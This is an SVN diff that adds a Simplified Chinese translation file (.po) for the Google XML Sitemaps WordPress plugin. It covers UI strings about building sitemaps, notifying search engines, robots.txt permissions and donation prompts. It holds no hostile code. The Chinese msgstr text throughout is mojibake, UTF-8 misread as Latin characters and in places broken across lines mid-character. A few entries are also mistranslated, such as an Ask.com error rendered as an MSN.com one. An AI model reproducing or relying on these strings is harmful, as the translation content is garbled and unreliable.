Index: /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-zh_CN.po
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-zh_CN.po	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/plugins/google-sitemap-generator/lang/sitemap-zh_CN.po	(revision 44)
@@ -0,0 +1,881 @@
+msgid ""
+msgstr ""
+"Project-Id-Version: Google XML Sitemaps 3.1\n"
+"POT-Creation-Date: \n"
+"PO-Revision-Date: 2008-12-22 02:51+0800\n"
+"Last-Translator: dupola <dupola.com@gmail.com>\n"
+"Language-Team: dupola <dupola.com@gmail.com>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=utf-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"X-Poedit-Language: Chinese\n"
+"X-Poedit-Country: China\n"
+"X-Poedit-Basepath: D:\\usr\\www\\wp-content\\plugins\\google-sitemap-generator\n"
+"X-Poedit-KeywordsList: _e;__\n"
+"X-Poedit-SearchPath-0: D:\\usr\\www\\wp-content\\plugins\\google-sitemap-generator\n"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:846
+msgid "Comment Count"
+msgstr "è¯è®ºæ°é"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:858
+msgid "Uses the number of comments of the post to calculate the priority"
+msgstr "éè¿æç« è¯è®ºæ°éçå€å°æ¥å³å®äŒå
+"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:918
+msgid "Comment Average"
+msgstr "è¯è®ºå¹³å"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:930
+msgid "Uses the average comment count to calculate the priority"
+msgstr "éè¿è¯è®ºå¹³åæ¥å³å®è®¡ç®äŒå
+"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:993
+msgid "Popularity Contest"
+msgstr "ç­éšå
+å®¹"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:1005
+msgid "Uses the activated <a href=\"%1\">Popularity Contest Plugin</a> from <a href=\"%2\">Alex King</a>. See <a href=\"%3\">Settings</a> and <a href=\"%4\">Most Popular Posts</a>"
+msgstr "äœ¿çšå·²ç»æ¿æŽ»ç <a href=\"%2\">Alex King</a> ç <a href=\"%1\">ç­éšæ¥å¿æä»¶</a>ã æ¥ç <a href=\"%3\">è®Ÿçœ®</a> and <a href=\"%4\">ææµè¡æ¥å¿</a>"
+
+# D:\usr\www\wp-content\plugins\google-sitemap-generator/sitemap-core.php:1123
+msgid "Always"
+msgstr "æ»æ¯"
+
+# D:\usr\www\wp-content\plugins\google-sitemap-generator/sitemap-core.php:1124
+msgid "Hourly"
+msgstr "æ¯å°æ¶"
+
+# D:\usr\www\wp-content\plugins\google-sitemap-generator/sitemap-core.php:1125
+msgid "Daily"
+msgstr "æ¯å€©"
+
+# D:\usr\www\wp-content\plugins\google-sitemap-generator/sitemap-core.php:1126
+msgid "Weekly"
+msgstr "æ¯åš"
+
+# D:\usr\www\wp-content\plugins\google-sitemap-generator/sitemap-core.php:1127
+msgid "Monthly"
+msgstr "æ¯æ"
+
+# D:\usr\www\wp-content\plugins\google-sitemap-generator/sitemap-core.php:1128
+msgid "Yearly"
+msgstr "æ¯æ"
+
+# D:\usr\www\wp-content\plugins\google-sitemap-generator/sitemap-core.php:1129
+msgid "Never"
+msgstr "ä»äž"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+msgid "Thank you very much for your donation. You help me to continue support and development of this plugin and other free software!"
+msgstr "éåžžæè°¢äœ çæèµ ïŒäœ çåž®å©å¯ä»¥äœ¿æç»§ç»­åŒåè¯¥è¿äžªåå
+¶ä»é¡¹ç®ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2600
+msgid "Hide this notice"
+msgstr "éèæç€º"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+#, php-format
+msgid "Thanks for using this plugin! You've installed this plugin over a month ago. If it works and your are satisfied with the results, isn't it worth at least one dollar? <a href=\"%s\">Donations</a> help me to continue support and development of this <i>free</i> software! <a href=\"%s\">Sure, no problem!</a>"
+msgstr "æè°¢äœ äœ¿çšè¿äžªæä»¶ïŒäœ å·²ç»å¯çšè¿äžªæä»¶äžäžªå€æäºãè¿è¡åŸåŸäžéïŒäœ è§åŸå®åŒäžåŒ1çŸå
+ïŒ<a href=\"%s\">æèµ </a> åž®å©æç»§ç»­åŒåè¿äžª <i>å
+èŽ¹</i> èœ¯ä»¶ïŒ <a href=\"%s\">åœç¶ïŒæ²¡é®é¢ïŒ</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2657
+msgid "No thanks, please don't bug me anymore!"
+msgstr "äžïŒè¯·å«ååéªæ°æåŠïŒ"
+
+# D:\usr\www\wp-content\plugins\google-sitemap-generator/sitemap-ui.php:67
+msgid "Your sitemap is being refreshed at the moment. Depending on your blog size this might take some time!"
+msgstr "äœ ç sitemap å·²ç»æŽæ°äºãBlog é
+çœ®äžåïŒå®å®å
+šçæçæ¶éŽä¹äžåã"
+
+# D:\usr\www\wp-content\plugins\google-sitemap-generator/sitemap-ui.php:69
+#, php-format
+msgid "Your sitemap will be refreshed in %s seconds. Depending on your blog size this might take some time!"
+msgstr "äœ ç sitemap å°åš %s ç§å
+æŽæ°ïŒBlog é
+çœ®äžåïŒå®å®å
+šçæçæ¶éŽä¹äžåã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2635
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2835
+msgid "XML Sitemap Generator for WordPress"
+msgstr "XML å°åŸçæåš"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2740
+msgid "Configuration updated"
+msgstr "é
+çœ®å·²æŽæ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2741
+msgid "Error while saving options"
+msgstr "ä¿å­è®Ÿçœ®æ¶åºé"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2743
+msgid "Pages saved"
+msgstr "é¡µé¢å·²ä¿å­"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2744
+msgid "Error while saving pages"
+msgstr "ä¿å­é¡µé¢æ¶åºé"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2748
+#, php-format
+msgid "<a href=\"%s\">Robots.txt</a> file saved"
+msgstr "<a href=\"%s\">Robots.txt</a> æä»¶å·²ä¿å­"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2750
+msgid "Error while saving Robots.txt file"
+msgstr "ä¿å­ Robots.txt æä»¶æ¶åºé"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2758
+msgid "The default configuration was restored."
+msgstr "é»è®€ç»æå·²ç»è¢«ä¿®å€ã"
+
+# D:\usr\www\wp-content\plugins\google-sitemap-generator/sitemap-ui.php:374
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a>."
+msgstr "XML Sitemap ææ°çæ¬ %1$s ååžäºã <a href=\"%2$s\">è¿éæ¥äžèœœ %3$s ç</a>ã"
+
+# D:\usr\www\wp-content\plugins\google-sitemap-generator/sitemap-ui.php:376
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> <em>automatic upgrade unavailable for this plugin</em>."
+msgstr "XML Sitemap çæ°çæ¬ %1$s ååžäº. <a href=\"%2$s\">å°è¿éäžèœœ %3$s ç</a> ã<em>æ æ³èªåšæŽæ°è¿äžªæä»¶</em>."
+
+# D:\usr\www\wp-content\plugins\google-sitemap-generator/sitemap-ui.php:378
+#, php-format
+msgid "There is a new version of %1$s available. <a href=\"%2$s\">Download version %3$s here</a> or <a href=\"%4$s\">upgrade automatically</a>."
+msgstr "XML Sitemap æ°ç %1$s ååžäºã <a href=\"%2$s\">å°è¿éäžèœœ %3$s ç</a> æè
+ <a href=\"%4$s\">èªåšåçº§</a>ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2851
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2868
+msgid "open"
+msgstr "æåŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2852
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2869
+msgid "close"
+msgstr "å
+³é­"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2853
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2870
+msgid "click-down and drag to move this box"
+msgstr "ç¹å»å¹¶æåšå®å°è¿äžªåºå"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2854
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2871
+msgid "click to %toggle% this box"
+msgstr "ç¹å»å¹¶ %toggle% è¿äžªåºå"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2855
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2872
+msgid "use the arrow keys to move this box"
+msgstr "äœ¿çšç®­å€Žæåæ¥ç§»åšè¿äžªåºå"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2856
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2873
+msgid ", or press the enter key to %toggle% it"
+msgstr "ïŒæè
+æè¿éto %toggle% it"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2884
+msgid "About this Plugin:"
+msgstr "å
+³äºè¿äžªæä»¶ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2886
+msgid "Plugin Homepage"
+msgstr "æä»¶äž»é¡µ"
+
+# D:\usr\www\wp-content\plugins\google-sitemap-generator/sitemap-ui.php:438
+msgid "Suggest a Feature"
+msgstr "å»ºè®®æ°åèœ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2887
+msgid "Notify List"
+msgstr "éååè¡š"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2888
+msgid "Support Forum"
+msgstr "æ¯æè®ºå"
+
+# D:\usr\www\wp-content\plugins\google-sitemap-generator/sitemap-ui.php:441
+msgid "Report a Bug"
+msgstr "æ¥å Bug"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2889
+msgid "Donate with PayPal"
+msgstr "éè¿ PayPal æèµ "
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2890
+msgid "My Amazon Wish List"
+msgstr "ææ³èŠçäžè¥¿(Amazon)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+msgid "translator_name"
+msgstr "ç®äœäž­æ(dupola)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2891
+msgid "translator_url"
+msgstr "http://dupola.com"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2895
+msgid "Sitemap Resources:"
+msgstr "Sitemap èµæºïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2897
+msgid "Webmaster Tools"
+msgstr "Webmaster Tools"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2898
+msgid "Webmaster Blog"
+msgstr "Webmaster Blog"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2900
+msgid "Site Explorer"
+msgstr "Site Explorer"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2901
+msgid "Search Blog"
+msgstr "Search Blog"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3010
+msgid "Webmaster Center Blog"
+msgstr "Webmaster Center Blog"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2903
+msgid "Sitemaps Protocol"
+msgstr "Sitemaps åè®®"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2904
+msgid "Official Sitemaps FAQ"
+msgstr "éçš Sitemaps FAQ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2905
+msgid "My Sitemaps FAQ"
+msgstr "æç Sitemaps FAQ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2910
+msgid "Recent Donations:"
+msgstr "æè¿æèµ è
+ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2914
+msgid "List of the donors"
+msgstr "æèµ è
+åè¡š"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2916
+msgid "Hide this list"
+msgstr "éèè¿äžªåè¡š"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2919
+msgid "Thanks for your support!"
+msgstr "è°¢è°¢æ¯æïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2931
+msgid "Status"
+msgstr "ç»è®¡"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2941
+#, php-format
+msgid "The sitemap wasn't built yet. <a href=\"%s\">Click here</a> to build it the first time."
+msgstr "sitemap è¿æ²¡å»ºç«ïŒ<a href=\"%s\">ç¹å»è¿é</a>å»ºç«ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2947
+msgid "Your <a href=\"%url%\">sitemap</a> was last built on <b>%date%</b>."
+msgstr "äœ ç <a href=\"%url%\">sitemap</a> äžäžæ¬¡å»ºç«æ¯åš<b>%date%</b>ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2949
+msgid "There was a problem writing your sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "åå
+¥ sitemap æä»¶æ¶åçéè¯¯ãä¿è¯è¿äžªæä»¶å­åšå¹¶äžå¯åã<a href=\"%url%\">å­Šä¹ æŽå€</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2956
+msgid "Your sitemap (<a href=\"%url%\">zipped</a>) was last built on <b>%date%</b>."
+msgstr "äœ ç sitemap (<a href=\"%url%\">zipped</a>) äžäžæ¬¡å»ºç«æ¯åš <b>%date%</b>."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2958
+msgid "There was a problem writing your zipped sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a"
+msgstr "åšåå»º zipped sitemap æä»¶æ¶åçäºéè¯¯ãä¿è¯è¿äžªæä»¶å­åšå¹¶äžå¯åã<a href=\"%url%\">å­Šä¹ æŽå€</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2964
+msgid "Google was <b>successfully notified</b> about changes."
+msgstr "æŽæ°å·²ç»æåéç¥ Googleã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2967
+msgid "It took %time% seconds to notify Google, maybe you want to disable this feature to reduce the building time."
+msgstr "éç¥ Google çšäº%time% ïŒä¹è®žäœ åºè¯¥çŠçšè¿äžåèœä»¥åå°åå»ºæ¶éŽã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3011
+#, php-format
+msgid "There was a problem while notifying Google. <a href=\"%s\">View result</a>"
+msgstr "åšéç¥ Google æ¶åçéè¯¯ïŒ<a href=\"%s\">æ¥çç»æ</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2976
+msgid "YAHOO was <b>successfully notified</b> about changes."
+msgstr "æŽæ°å·²ç»æåéç¥ YAHOOã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2979
+msgid "It took %time% seconds to notify YAHOO, maybe you want to disable this feature to reduce the building time."
+msgstr "éç¥ YAHOO çšäº %time% ïŒä¹è®žäœ åºè¯¥çŠçšè¿é¡¹åèœä»¥åå°å»ºç«æ¶éŽã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3023
+#, php-format
+msgid "There was a problem while notifying YAHOO. <a href=\"%s\">View result</a>"
+msgstr "éç¥ YAHOO æ¶åºéã<a href=\"%s\">æ¥çç»æ</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3097
+msgid "MSN was <b>successfully notified</b> about changes."
+msgstr "æŽæ°å·²ç»æåéç¥ MSNã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3100
+msgid "It took %time% seconds to notify MSN.com, maybe you want to disable this feature to reduce the building time."
+msgstr "éç¥ MSN.com çšäº%time% ïŒä¹è®žäœ åºè¯¥çŠçšè¿äžåèœä»¥åå°åå»ºæ¶éŽã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3103
+#, php-format
+msgid "There was a problem while notifying MSN.com. <a href=\"%s\">View result</a>"
+msgstr "éç¥ MSN.com æ¶åºéã<a href=\"%s\">æ¥çç»æ</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2988
+msgid "Ask.com was <b>successfully notified</b> about changes."
+msgstr "æŽæ°å·²ç»æåéç¥ Ask.comã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:2991
+msgid "It took %time% seconds to notify Ask.com, maybe you want to disable this feature to reduce the building time."
+msgstr "éç¥ Ask.com çšäº%time% ïŒä¹è®žäœ åºè¯¥çŠçšè¿äžåèœä»¥åå°åå»ºæ¶éŽã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3035
+#, php-format
+msgid "There was a problem while notifying Ask.com. <a href=\"%s\">View result</a>"
+msgstr "éç¥ MSN.com æ¶åºéã<a href=\"%s\">æ¥çç»æ</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3002
+msgid "The building process took about <b>%time% seconds</b> to complete and used %memory% MB of memory."
+msgstr "æ­€æ¬¡å»ºç«å€§çºŠçšäº <b>%time% ç§</b> å®æïŒäœ¿çšäº %memory% MB å
+å­ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3004
+msgid "The building process took about <b>%time% seconds</b> to complete."
+msgstr "æ­€æ¬¡å»ºç«çšäºå€§çºŠ <b>%time% ç§</b> å®æã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3008
+msgid "The content of your sitemap <strong>didn't change</strong> since the last time so the files were not written and no search engine was pinged."
+msgstr "ä»äžæ¬¡è¿äžªæä»¶äžå¯åä»¥åïŒäœ ç sitemap å°±æ²¡æ<strong>æŽæ°</strong> ïŒå¹¶äžä¹æ²¡æéç¥ä»»äœæçŽ¢åŒæã"
+
+# D:\usr\www\wp-content\plugins\google-sitemap-generator/sitemap-ui.php:586
+msgid "The building process might still be active! Reload the page in a few seconds and check if something has changed."
+msgstr "è¿é¡¹å€çå°äŒçæïŒå ç§éåå·æ°è¿äžªé¡µé¢ïŒæ¥çæ¯åŠææååã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3012
+msgid "The last run didn't finish! Maybe you can raise the memory or time limit for PHP scripts. <a href=\"%url%\">Learn more</a>"
+msgstr "äžæ¬¡è¿è¡æ²¡æå®æïŒäœ åºè¯¥äžº PHP scripts å¢å å
+å­ææ¶éŽéå¶ã<a href=\"%url%\">å­Šä¹ æŽå€</a>"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3014
+msgid "The last known memory usage of the script was %memused%MB, the limit of your server is %memlimit%."
+msgstr "äžæ¬¡æ§è¡çšäº was %memused%MB, äœ çæå¡åšéå¶æ¯ %memlimit%ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3018
+msgid "The last known execution time of the script was %timeused% seconds, the limit of your server is %timelimit% seconds."
+msgstr "äžæ¬¡æ§è¡æ¶éŽ %timeused% ç§ïŒäœ çæå¡åšéå¶æ¯ %timelimit% ç§."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3022
+msgid "The script stopped around post number %lastpost% (+/- 100)"
+msgstr "è¿äžªèæ¬åæ­¢äºè¿ç¯æ¥å¿ïŒ %lastpost% (+/- 100)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3025
+#, php-format
+msgid "If you changed something on your server or blog, you should <a href=\"%s\">rebuild the sitemap</a> manually."
+msgstr "åŠæäœ  Blog ææå¡åšæŽæ°äºæäºäžè¥¿ïŒäœ åºè¯¥æåš <a href=\"%s\">éå»º sitemap</a>ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3027
+#, php-format
+msgid "If you encounter any problems with the build process you can use the <a href=\"%d\">debug function</a> to get more information."
+msgstr "åŠæåšæ§è¡å»ºç«çšåºæ¶éå°é®é¢ïŒäœ å¯ä»¥äœ¿çš <a href=\"%d\">debug function</a>æ¥è·åæŽå€ä¿¡æ¯ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3040
+msgid "Basic Options"
+msgstr "åºæ¬è®Ÿçœ®"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+msgid "Sitemap files:"
+msgstr "sitemap æä»¶"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3044
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3079
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3104
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3121
+msgid "Learn more"
+msgstr "å­Šä¹ æŽå€"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3049
+msgid "Write a normal XML file (your filename)"
+msgstr "åå»ºäžäžª XML æä»¶ (äœ çæä»¶å)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3055
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "åå»ºäžäžª gzipped æä»¶ (äœ çæä»¶å + .gz)"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3059
+msgid "Building mode:"
+msgstr "å»ºç«æš¡åŒïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3064
+msgid "Rebuild sitemap if you change the content of your blog"
+msgstr "åšäœ æŽæ¹äº Blog å
+å®¹åéå»º sitemap"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3071
+msgid "Enable manual sitemap building via GET Request"
+msgstr "éè¿ GET Request å¯çšæåšå»ºç« sitemap"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3075
+msgid "This will allow you to refresh your sitemap if an external tool wrote into the WordPress database without using the WordPress API. Use the following URL to start the process: <a href=\"%1\">%1</a> Please check the logfile above to see if sitemap was successfully built."
+msgstr "è¿å°å
+è®žäœ å·æ°äœ ç sitemapïŒåŠæå€éšå·¥å
+·äžæ¯éè¿ WordPress APIåå
+¥ WordPress æ°æ®ãäœ¿çšäžé¢è¿äžªéŸæ¥åŒå§è¿è¡ïŒ<a href=\"%1\">%1</a> è¯·æ£æ¥äžé¢çæ¥å¿æä»¶ïŒçç sitemap ææ²¡ææåå»ºç«ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3079
+msgid "Update notification:"
+msgstr "æŽæ°éç¥ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3083
+msgid "Notify Google about updates of your Blog"
+msgstr "éç¥ Google å
+³äºäœ  Blog çæŽæ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3084
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Google Webmaster Tools</a> to check crawling statistics."
+msgstr "éå¿
+é¡»æ³šåïŒäžè¿äœ å¯ä»¥äœ¿çš<a href=\"%s\">Google ç®¡çåå·¥å
+·</a>æ¥çç¬è«ç»è®¡ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3209
+msgid "Notify MSN Live Search about updates of your Blog"
+msgstr "éç¥ MSN Live Search å
+³äºäœ  Blog çæŽæ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3210
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">MSN Live Webmaster Tools</a> to check crawling statistics."
+msgstr "éå¿
+é¡»æ³šåïŒäžè¿äœ å¯ä»¥å å
+¥<a href=\"%s\">MSN Live ç®¡çåå·¥å
+·</a>ä»¥æ£æ¥ç¬è«ç»è®¡ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3088
+msgid "Notify Ask.com about updates of your Blog"
+msgstr "æé Ask.com å
+³äºäœ  Blog çæŽæ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3089
+msgid "No registration required."
+msgstr "éå¿
+é¡»æ³šåã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3093
+msgid "Notify YAHOO about updates of your Blog"
+msgstr "æé Yahoo å
+³äºäœ  Blog çæŽæ°"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3154
+msgid "Your Application ID:"
+msgstr "äœ ç Application ID:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3155
+#, php-format
+msgid "Don't you have such a key? <a href=\"%s1\">Request one here</a>! %s2"
+msgstr "æ²¡æ keyïŒ<a href=\"%s1\">ç¹è¿éç³è¯·äžäžª</a>! %s2"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3099
+#, php-format
+msgid "Modify or create %s file in blog root which contains the sitemap location."
+msgstr "åš é»æ­¢ sitemap ç blog ç®åœä¿®æ¹æå»ºç« %s æä»¶ã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3102
+msgid "File permissions: "
+msgstr "æä»¶æéïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3107
+msgid "OK, robots.txt is writable."
+msgstr "äžéïŒrobots.txt å¯åã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3109
+msgid "Error, robots.txt is not writable."
+msgstr "éè¯¯ïŒrobots.txt äžå¯åã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3113
+msgid "OK, robots.txt doesn't exist but the directory is writable."
+msgstr "äžéïŒrobots.txt äžå­åšïŒäœè¿äžªç®åœæ¯å¯åçã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3115
+msgid "Error, robots.txt doesn't exist and the directory is not writable"
+msgstr "éè¯¯ïŒrobots.txt äžå­åšå¹¶äžè¿äžªç®åœäžå¯åã"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3121
+msgid "Advanced options:"
+msgstr "é«çº§è®Ÿçœ®ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+msgid "Limit the number of posts in the sitemap:"
+msgstr "sitemap éæ¥å¿æ°éçéå¶ïŒ"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3124
+msgid "Newer posts will be included first"
+msgstr "èŸæ©çæ¥å¿å°éŠå
+è¢«å
+å«è¿æ¥"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3127
+msgid "Try to increase the memory limit to:"
+msgstr "å¢å å
+å­éå¶å°ïŒ"
+
